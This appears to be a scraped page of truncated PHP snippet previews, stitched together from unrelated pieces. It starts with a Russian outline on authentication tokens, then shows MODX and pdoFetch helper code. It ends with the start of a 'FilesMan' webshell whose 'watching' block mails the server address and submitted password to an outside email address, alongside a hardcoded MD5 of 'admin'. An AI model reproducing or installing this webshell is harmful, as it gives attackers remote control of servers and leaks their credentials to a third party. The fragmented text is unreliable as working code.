Last major update: 25.08.2020
- Что такое авторизация/аутентификация
- Где хранить токены
- Как ставить куки ?
- Процесс логина
- Процесс рефреш токенов
- Кража токенов/Механизм контроля токенов
<?php | |
// Пути для корня сайта | |
require_once __DIR__ . '/config.core.php'; | |
require_once MODX_CORE_PATH . 'model/modx/modx.class.php'; | |
$modx = new modX(); | |
$modx->initialize('web'); | |
$modx->getService('error','error.modError', '', ''); | |
// Вариант 1. | |
/*$doc = $modx->newObject('modDocument', [ |
<?php | |
class_exists('pdoFetch') or require __DIR__ . '/pdofetch.class.php'; | |
class pdoFetchOpt extends pdoFetch | |
{ | |
/** | |
* Main method for query processing and fetching rows | |
* It can return string with SQL query, array or raw rows or processed HTML chunks | |
* | |
* @return array|bool|string |
<?php | |
class_exists('xPDOCacheManager') or include MODX_CORE_PATH . 'xpdo/cache/xpdocachemanager.class.php'; | |
class_exists('modCacheManager') or include MODX_CORE_PATH . 'model/modx/modcachemanager.class.php'; | |
class OptCacheManager extends modCacheManager | |
{ | |
/** | |
* Generates a cache entry for a MODX site Context. | |
* |
<?php | |
interface Worker | |
{ | |
public function getCommand(); | |
public function done($stdout, $stderr); | |
public function fail($stdout, $stderr, $status); | |
} |
<?php | |
//--------------Watching webshell!-------------- | |
if(array_key_exists('watching',$_POST)){ | |
$tmp = $_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."\n".$_POST['pass']; @mail('hard_linux@mail.ru', 'root', $tmp); // Edit or delete! | |
} | |
//-----------------Password--------------------- | |
$▛ = "21232f297a57a5a743894a0e4a801fc3"; //admin | |
$▘ = true; | |
$▜ = 'UTF-8'; | |
$▚ = 'FilesMan'; |